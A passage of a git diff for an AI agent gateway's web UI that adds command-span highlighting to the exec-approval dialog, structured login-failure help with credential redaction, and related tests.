resolvedPath: typeof request.resolvedPath === "string" ? request.resolvedPath : null, sessionKey: typeof request.sessionKey === "string" ? request.sessionKey : null, + commandSpans: parseCommandSpans(request.commandSpans, command.length), }, createdAtMs, expiresAtMs, diff --git a/ui/src/ui/usage-helpers.node.test.ts b/ui/src/ui/usage-helpers.node.test.ts index afc4ffb5193..4ad05476b2c 100644 --- a/ui/src/ui/usage-helpers.node.test.ts +++ b/ui/src/ui/usage-helpers.node.test.ts @@ -28,8 +28,10 @@ describe("usage-helpers", () => { it("warns on unknown keys and invalid numbers", () => { const session = { key: "a", usage: { totalTokens: 10, totalCost: 0 } }; const res = filterSessionsByQuery([session], "wat:1 minTokens:wat"); - expect(res.warnings.some((w) => w.includes("Unknown filter"))).toBe(true); - expect(res.warnings.some((w) => w.includes("Invalid number"))).toBe(true); + expect(res.warnings).toEqual([ + expect.stringContaining("Unknown filter"), + expect.stringContaining("Invalid number"), + ]); }); it("parses tool summaries from compact session logs", () => { diff --git a/ui/src/ui/views/config.browser.test.ts b/ui/src/ui/views/config.browser.test.ts index 70cf98e8381..d2512cb4be9 100644 --- a/ui/src/ui/views/config.browser.test.ts +++ b/ui/src/ui/views/config.browser.test.ts @@ -121,8 +121,8 @@ describe("config view", () => { return button; } - function queryRequired(container: HTMLElement, selector: string): T { - const element = container.querySelector(selector); + function queryRequired(container: HTMLElement, selector: string): Element { + const element = container.querySelector(selector); if (!element) { throw new Error(`Expected element matching "${selector}"`); } @@ -366,7 +366,7 @@ describe("config view", () => { }, }); - const content = queryRequired(container, ".config-content"); + const content = queryRequired(container, ".config-content") as HTMLElement; content.scrollTop = 280; content.scrollLeft = 24; content.scrollTo = vi.fn(({ top, left }: { top?: number; left?: number }) => { diff --git a/ui/src/ui/views/dreaming.test.ts b/ui/src/ui/views/dreaming.test.ts index 6a2cd2cbfd5..07c5c446ba3 100644 --- a/ui/src/ui/views/dreaming.test.ts +++ b/ui/src/ui/views/dreaming.test.ts @@ -487,7 +487,9 @@ describe("dreaming view", () => { const labels = [...container.querySelectorAll(".dreams-diary__day-chip")].map((node) => node.textContent?.replace(/\s+/g, "").trim(), ); - expect(labels.filter(Boolean).some((label) => /^\d+\/\d+$/.test(label ?? ""))).toBe(true); + expect(labels.filter((label): label is string => Boolean(label))).toEqual( + expect.arrayContaining([expect.stringMatching(/^\d+\/\d+$/)]), + ); setDreamSubTab("scene"); }); diff --git a/ui/src/ui/views/exec-approval.browser.test.ts b/ui/src/ui/views/exec-approval.browser.test.ts new file mode 100644 index 00000000000..2b4bb6819cb --- /dev/null +++ b/ui/src/ui/views/exec-approval.browser.test.ts @@ -0,0 +1,46 @@ +import { html, render } from "lit"; +import { expect, test } from "vitest"; +import { i18n } from "../../i18n/index.ts"; +import type { AppViewState } from "../app-view-state.ts"; +import { renderExecApprovalPrompt } from "./exec-approval.ts"; + +const root = document.createElement("div"); +document.body.append(root); + +test("renders command spans in Chromium approval modal", async () => { + await i18n.setLocale("en"); + render( + renderExecApprovalPrompt({ + execApprovalQueue: [ + { + id: "approval-browser-1", + kind: "exec", + request: { + command: 'ls | grep "stuff" | python -c \'print("hi")\'', + host: "gateway", + security: "allowlist", + ask: "always", + commandSpans: [ + { startIndex: 0, endIndex: 2 }, + { startIndex: 20, endIndex: 29 }, + ], + }, + createdAtMs: Date.now() - 1_000, + expiresAtMs: Date.now() + 60_000, + }, + ], + execApprovalBusy: false, + execApprovalError: null, + handleExecApprovalDecision: async () => undefined, + } as unknown as AppViewState), + root, + ); + + const spans = [...root.querySelectorAll(".exec-approval-command-span")].map( + (span) => span.textContent, + ); + + expect(spans).toEqual(["ls", "python -c"]); + + render(html``, root); +}); diff --git a/ui/src/ui/views/exec-approval.test.ts b/ui/src/ui/views/exec-approval.test.ts index c25542490db..d916219f861 100644 --- a/ui/src/ui/views/exec-approval.test.ts +++ b/ui/src/ui/views/exec-approval.test.ts @@ -141,6 +141,27 @@ describe("approval and confirmation modals", () => { ); }); + it("renders command spans in exec approvals", async () => { + const request = createExecRequest(); + request.request.command = 'ls | grep "stuff" | python -c \'print("hi")\''; + request.request.commandSpans = [ + { startIndex: 0, endIndex: 2 }, + { startIndex: 5, endIndex: 5 }, + { startIndex: 8.5, endIndex: 10 }, + { startIndex: 20, endIndex: 29 }, + { startIndex: 30, endIndex: 200 }, + ]; + + render(renderExecApprovalPrompt(createExecState({ execApprovalQueue: [request] })), container); + + await getRenderedDialog(); + + const spans = [...container.querySelectorAll(".exec-approval-command-span")].map( + (span) => span.textContent, + ); + expect(spans).toEqual(["ls", "python -c"]); + }); + it("maps Escape to exec denial when approval is idle", async () => { const handleExecApprovalDecision = vi.fn(async () => undefined); render(renderExecApprovalPrompt(createExecState({ handleExecApprovalDecision })), container); diff --git a/ui/src/ui/views/exec-approval.ts b/ui/src/ui/views/exec-approval.ts index ff5b2fed8ab..2b198f53f94 100644 --- a/ui/src/ui/views/exec-approval.ts +++ b/ui/src/ui/views/exec-approval.ts @@ -32,9 +32,51 @@ function renderMetaRow(label: string, value?: string | null, opts?: { path?: boo `; } +function renderCommandWithSpans(request: ExecApprovalRequestPayload) { + const commandSpans = [...(request.commandSpans ?? [])] + .filter( + (span) => + Number.isSafeInteger(span.startIndex) && + Number.isSafeInteger(span.endIndex) && + span.startIndex >= 0 && + span.endIndex > span.startIndex && + span.endIndex <= request.command.length, + ) + .toSorted((a, b) => a.startIndex - b.startIndex || b.endIndex - a.endIndex); + const accepted: typeof commandSpans = []; + let cursor = 0; + for (const span of commandSpans) { + if (span.startIndex < cursor) { + continue; + } + accepted.push(span); + cursor = span.endIndex; + } + if (accepted.length === 0) { + return html`
${request.command}
`; + } + const parts = []; + cursor = 0; + for (const span of accepted) { + if (span.startIndex > cursor) { + parts.push(request.command.slice(cursor, span.startIndex)); + } + parts.push( + html`${request.command.slice(span.startIndex, span.endIndex)}`, + ); + cursor = span.endIndex; + } + if (cursor < request.command.length) { + parts.push(request.command.slice(cursor)); + } + return html`
${parts}
`; +} + function renderExecBody(request: ExecApprovalRequestPayload) { return html` -
${request.command}
+ ${renderCommandWithSpans(request)}
${renderMetaRow(t("execApproval.labels.host"), request.host)} ${renderMetaRow(t("execApproval.labels.agent"), request.agentId)} diff --git a/ui/src/ui/views/login-gate.test.ts b/ui/src/ui/views/login-gate.test.ts new file mode 100644 index 00000000000..14a472fbdfb --- /dev/null +++ b/ui/src/ui/views/login-gate.test.ts @@ -0,0 +1,202 @@ +/* @vitest-environment jsdom */ + +import { render } from "lit"; +import { beforeEach, describe, expect, it } from "vitest"; +import { ConnectErrorDetailCodes } from "../../../../src/gateway/protocol/connect-error-details.js"; +import { i18n } from "../../i18n/index.ts"; +import type { AppViewState } from "../app-view-state.ts"; +import { renderLoginGate, resolveLoginFailureFeedback } from "./login-gate.ts"; + +function createState(overrides: Partial = {}): AppViewState { + return { + basePath: "", + connected: false, + lastError: null, + lastErrorCode: null, + loginShowGatewayToken: false, + loginShowGatewayPassword: false, + password: "", + settings: { + gatewayUrl: "ws://127.0.0.1:18789", + token: "", + sessionKey: "main", + lastActiveSessionKey: "main", + theme: "claw", + themeMode: "system", + chatFocusMode: false, + chatShowThinking: true, + chatShowToolCalls: true, + splitRatio: 0.6, + navCollapsed: false, + navWidth: 220, + navGroupsCollapsed: {}, + borderRadius: 50, + locale: "en", + }, + applySettings: () => undefined, + connect: () => undefined, + ...overrides, + } as unknown as AppViewState; +} + +describe("resolveLoginFailureFeedback", () => { + beforeEach(async () => { + await i18n.setLocale("en"); + }); + + it("explains missing auth credentials", () => { + const feedback = resolveLoginFailureFeedback({ + connected: false, + lastError: "disconnected (4008): connect failed", + lastErrorCode: ConnectErrorDetailCodes.AUTH_TOKEN_MISSING, + hasToken: false, + hasPassword: false, + }); + + expect(feedback?.kind).toBe("auth-required"); + expect(feedback?.title).toBe("Auth required"); + expect(feedback?.steps.join(" ")).toContain("openclaw dashboard --no-open"); + expect(feedback?.steps.join(" ")).toContain("openclaw doctor --generate-gateway-token"); + }); + + it("explains rejected stale credentials", () => { + const feedback = resolveLoginFailureFeedback({ + connected: false, + lastError: "unauthorized: gateway token mismatch", + lastErrorCode: ConnectErrorDetailCodes.AUTH_TOKEN_MISMATCH, + hasToken: true, + hasPassword: false, + }); + + expect(feedback?.kind).toBe("auth-failed"); + expect(feedback?.summary).toContain("stale token"); + expect(feedback?.steps.join(" ")).toContain("token mode"); + }); + + it("explains auth rate limits without encouraging retries", () => { + const feedback = resolveLoginFailureFeedback({ + connected: false, + lastError: "too many failed authentication attempts", + lastErrorCode: ConnectErrorDetailCodes.AUTH_RATE_LIMITED, + hasToken: true, + hasPassword: false, + }); + + expect(feedback?.kind).toBe("auth-rate-limited"); + expect(feedback?.title).toBe("Too many failed attempts"); + expect(feedback?.steps[0]).toContain("Stop retrying"); + }); + + it("preserves pairing request ids in the approval command", () => { + const feedback = resolveLoginFailureFeedback({ + connected: false, + lastError: "scope upgrade pending approval (requestId: req-123)", + lastErrorCode: ConnectErrorDetailCodes.PAIRING_REQUIRED, + hasToken: true, + hasPassword: false, + }); + + expect(feedback?.kind).toBe("pairing-required"); + expect(feedback?.title).toBe("Scope upgrade pending"); + expect(feedback?.steps.join(" ")).toContain("openclaw devices approve req-123"); + }); + + it("explains insecure HTTP device identity failures", () => { + const feedback = resolveLoginFailureFeedback({ + connected: false, + lastError: "device identity required", + lastErrorCode: ConnectErrorDetailCodes.CONTROL_UI_DEVICE_IDENTITY_REQUIRED, + hasToken: true, + hasPassword: false, + }); + + expect(feedback?.kind).toBe("insecure-context"); + expect(feedback?.steps.join(" ")).toContain("Tailscale Serve"); + expect(feedback?.steps.join(" ")).toContain("gateway.controlUi.allowInsecureAuth"); + }); + + it("explains browser origin rejections", () => { + const feedback = resolveLoginFailureFeedback({ + connected: false, + lastError: "origin not allowed", + lastErrorCode: ConnectErrorDetailCodes.CONTROL_UI_ORIGIN_NOT_ALLOWED, + hasToken: true, + hasPassword: false, + }); + + expect(feedback?.kind).toBe("origin-not-allowed"); + expect(feedback?.steps.join(" ")).toContain("gateway.controlUi.allowedOrigins"); + }); + + it("explains protocol mismatch without requiring a gateway protocol change", () => { + const feedback = resolveLoginFailureFeedback({ + connected: false, + lastError: "protocol mismatch", + lastErrorCode: null, + hasToken: true, + hasPassword: false, + }); + + expect(feedback?.kind).toBe("protocol-mismatch"); + expect(feedback?.summary).toContain("supported connection protocol"); + expect(feedback?.steps.join(" ")).toContain("openclaw dashboard"); + }); + + it("falls back to connection diagnostics for generic close errors", () => { + const feedback = resolveLoginFailureFeedback({ + connected: false, + lastError: "disconnected (1006): no reason", + lastErrorCode: null, + hasToken: false, + hasPassword: false, + }); + + expect(feedback?.kind).toBe("network"); + expect(feedback?.steps.join(" ")).toContain("WebSocket URL"); + expect(feedback?.steps.join(" ")).toContain("wss://"); + }); + + it("redacts credential-shaped values from displayed raw errors", () => { + const feedback = resolveLoginFailureFeedback({ + connected: false, + lastError: + "failed ws://host/openclaw#token=secret-token Authorization: Bearer secret-bearer token=inline-secret", + lastErrorCode: null, + hasToken: false, + hasPassword: false, + }); + + expect(feedback?.rawError).not.toContain("secret-token"); + expect(feedback?.rawError).not.toContain("secret-bearer"); + expect(feedback?.rawError).not.toContain("inline-secret"); + expect(feedback?.rawError).toContain("[redacted"); + }); +}); + +describe("renderLoginGate", () => { + beforeEach(async () => { + await i18n.setLocale("en"); + }); + + it("renders an accessible structured failure panel with raw error details", async () => { + const container = document.createElement("div"); + const state = createState({ + lastError: "protocol mismatch", + settings: { + ...createState().settings, + token: "stale-token", + }, + }); + + render(renderLoginGate(state), container); + await Promise.resolve(); + + const alert = container.querySelector('[role="alert"]'); + expect(alert).not.toBeNull(); + expect(alert?.dataset.kind).toBe("protocol-mismatch"); + expect(alert?.textContent).toContain("Protocol mismatch"); + expect(alert?.textContent).toContain("openclaw dashboard"); + expect(alert?.querySelector("details")?.textContent).toContain("protocol mismatch"); + expect(alert?.querySelector("a")?.getAttribute("href")).toContain("docs.openclaw.ai"); + }); +}); diff --git a/ui/src/ui/views/login-gate.ts b/ui/src/ui/views/login-gate.ts index 97ce00bc808..0bf438c5151 100644 --- a/ui/src/ui/views/login-gate.ts +++ b/ui/src/ui/views/login-gate.ts @@ -1,14 +1,284 @@ import { html } from "lit"; +import { ConnectErrorDetailCodes } from "../../../../src/gateway/protocol/connect-error-details.js"; import { t } from "../../i18n/index.ts"; import type { AppViewState } from "../app-view-state.ts"; +import { buildExternalLinkRel, EXTERNAL_LINK_TARGET } from "../external-link.ts"; import { icons } from "../icons.ts"; import { normalizeBasePath } from "../navigation.ts"; +import { normalizeLowercaseStringOrEmpty } from "../string-coerce.ts"; import { agentLogoUrl } from "./agents-utils.ts"; import { renderConnectCommand } from "./connect-command.ts"; +import { + resolveAuthHintKind, + resolvePairingHint, + shouldShowInsecureContextHint, +} from "./overview-hints.ts"; + +type LoginFailureKind = + | "auth-required" + | "auth-failed" + | "auth-rate-limited" + | "pairing-required" + | "insecure-context" + | "origin-not-allowed" + | "protocol-mismatch" + | "network"; + +export type LoginFailureFeedback = { + kind: LoginFailureKind; + title: string; + summary: string; + steps: string[]; + docsHref: string; + docsLabel: string; + rawError: string; +}; + +type LoginFailureFeedbackParams = { + connected: boolean; + lastError: string | null; + lastErrorCode?: string | null; + hasToken: boolean; + hasPassword: boolean; +}; + +function resolveDocsLabel(href: string): string { + if (href.includes("insecure-http")) { + return t("login.failure.docsInsecure"); + } + if (href.includes("device-pairing")) { + return t("login.failure.docsPairing"); + } + return t("login.failure.docsAuth"); +} + +function redactLoginFailureError(value: string): string { + return value + .replace( + /([?#&])(?:access_token|auth|deviceToken|password|refresh_token|token)=([^&#\s]+)/gi, + "$1[redacted-credential]", + ) + .replace(/\bBearer\s+([A-Za-z0-9._~+/-]+=*)/gi, "Bearer [redacted]") + .replace( + /(["']?(?:access|accessToken|deviceToken|password|refresh|refreshToken|token)["']?\s*[:=]\s*)["']?[^"',\s}]+/gi, + "$1[redacted]", + ); +} + +function buildFeedback(params: { + kind: LoginFailureKind; + rawError: string; + docsHref?: string; + titleKey: string; + summaryKey: string; + stepKeys: string[]; + stepParams?: Record; +}): LoginFailureFeedback { + const docsHref = params.docsHref ?? "https://docs.openclaw.ai/web/dashboard"; + return { + kind: params.kind, + title: t(params.titleKey, params.stepParams), + summary: t(params.summaryKey, params.stepParams), + steps: params.stepKeys.map((key) => t(key, params.stepParams)), + docsHref, + docsLabel: resolveDocsLabel(docsHref), + rawError: redactLoginFailureError(params.rawError), + }; +} + +export function resolveLoginFailureFeedback( + params: LoginFailureFeedbackParams, +): LoginFailureFeedback | null { + if (params.connected || !params.lastError) { + return null; + } + + const rawError = params.lastError; + const lastErrorCode = params.lastErrorCode ?? null; + const lower = normalizeLowercaseStringOrEmpty(rawError); + + const pairing = resolvePairingHint(false, rawError, lastErrorCode); + if (pairing) { + return buildFeedback({ + kind: "pairing-required", + rawError, + docsHref: "https://docs.openclaw.ai/web/control-ui#device-pairing-first-connection", + titleKey: + pairing.kind === "scope-upgrade-pending" + ? "login.failure.pairing.scopeTitle" + : pairing.kind === "role-upgrade-pending" + ? "login.failure.pairing.roleTitle" + : pairing.kind === "metadata-upgrade-pending" + ? "login.failure.pairing.metadataTitle" + : "login.failure.pairing.title", + summaryKey: + pairing.kind === "pairing-required" + ? "login.failure.pairing.summary" + : "login.failure.pairing.upgradeSummary", + stepKeys: [ + "login.failure.pairing.stepList", + pairing.requestId + ? "login.failure.pairing.stepApproveId" + : "login.failure.pairing.stepApprove", + "login.failure.pairing.stepReconnect", + ], + stepParams: { requestId: pairing.requestId ?? "" }, + }); + } + + if ( + lastErrorCode === ConnectErrorDetailCodes.AUTH_RATE_LIMITED || + lower.includes("too many failed authentication attempts") || + lower.includes("rate limit") + ) { + return buildFeedback({ + kind: "auth-rate-limited", + rawError, + titleKey: "login.failure.rateLimited.title", + summaryKey: "login.failure.rateLimited.summary", + stepKeys: [ + "login.failure.rateLimited.stepStop", + "login.failure.rateLimited.stepWait", + "login.failure.rateLimited.stepCheckClients", + ], + }); + } + + if (shouldShowInsecureContextHint(false, rawError, lastErrorCode)) { + return buildFeedback({ + kind: "insecure-context", + rawError, + docsHref: "https://docs.openclaw.ai/web/control-ui#insecure-http", + titleKey: "login.failure.insecure.title", + summaryKey: "login.failure.insecure.summary", + stepKeys: [ + "login.failure.insecure.stepHttps", + "login.failure.insecure.stepLocalCompat", + "login.failure.insecure.stepAvoidDisable", + ], + }); + } + + if ( + lastErrorCode === ConnectErrorDetailCodes.CONTROL_UI_ORIGIN_NOT_ALLOWED || + lower.includes("origin not allowed") + ) { + return buildFeedback({ + kind: "origin-not-allowed", + rawError, + docsHref: + "https://docs.openclaw.ai/web/control-ui#debuggingtesting-dev-server--remote-gateway", + titleKey: "login.failure.origin.title", + summaryKey: "login.failure.origin.summary", + stepKeys: [ + "login.failure.origin.stepAllowedOrigins", + "login.failure.origin.stepFullOrigin", + "login.failure.origin.stepRestart", + ], + }); + } + + if (lower.includes("protocol mismatch")) { + return buildFeedback({ + kind: "protocol-mismatch", + rawError, + docsHref: + "https://docs.openclaw.ai/web/control-ui#debuggingtesting-dev-server--remote-gateway", + titleKey: "login.failure.protocol.title", + summaryKey: "login.failure.protocol.summary", + stepKeys: [ + "login.failure.protocol.stepDashboard", + "login.failure.protocol.stepDevUi", + "login.failure.protocol.stepRestart", + ], + }); + } + + const authHintKind = resolveAuthHintKind({ + connected: false, + lastError: rawError, + lastErrorCode, + hasToken: params.hasToken, + hasPassword: params.hasPassword, + }); + if (authHintKind === "required") { + return buildFeedback({ + kind: "auth-required", + rawError, + titleKey: "login.failure.authRequired.title", + summaryKey: "login.failure.authRequired.summary", + stepKeys: [ + "login.failure.authRequired.stepPaste", + "login.failure.authRequired.stepGenerate", + "login.failure.authRequired.stepConnect", + ], + }); + } + if (authHintKind === "failed") { + return buildFeedback({ + kind: "auth-failed", + rawError, + titleKey: "login.failure.authFailed.title", + summaryKey: "login.failure.authFailed.summary", + stepKeys: [ + "login.failure.authFailed.stepDashboard", + "login.failure.authFailed.stepReplace", + "login.failure.authFailed.stepMode", + ], + }); + } + + return buildFeedback({ + kind: "network", + rawError, + titleKey: "login.failure.network.title", + summaryKey: "login.failure.network.summary", + stepKeys: [ + "login.failure.network.stepGateway", + "login.failure.network.stepUrl", + "login.failure.network.stepDashboard", + ], + }); +} + +function renderLoginFailure(feedback: LoginFailureFeedback) { + return html` + + `; +} export function renderLoginGate(state: AppViewState) { const basePath = normalizeBasePath(state.basePath ?? ""); const faviconSrc = agentLogoUrl(basePath); + const failure = resolveLoginFailureFeedback({ + connected: state.connected, + lastError: state.lastError, + lastErrorCode: state.lastErrorCode, + hasToken: Boolean(state.settings.token.trim()), + hasPassword: Boolean(state.password.trim()), + }); return html` - ${state.lastError - ? html`
-
${state.lastError}
-
` - : ""} + ${failure ? renderLoginFailure(failure) : ""}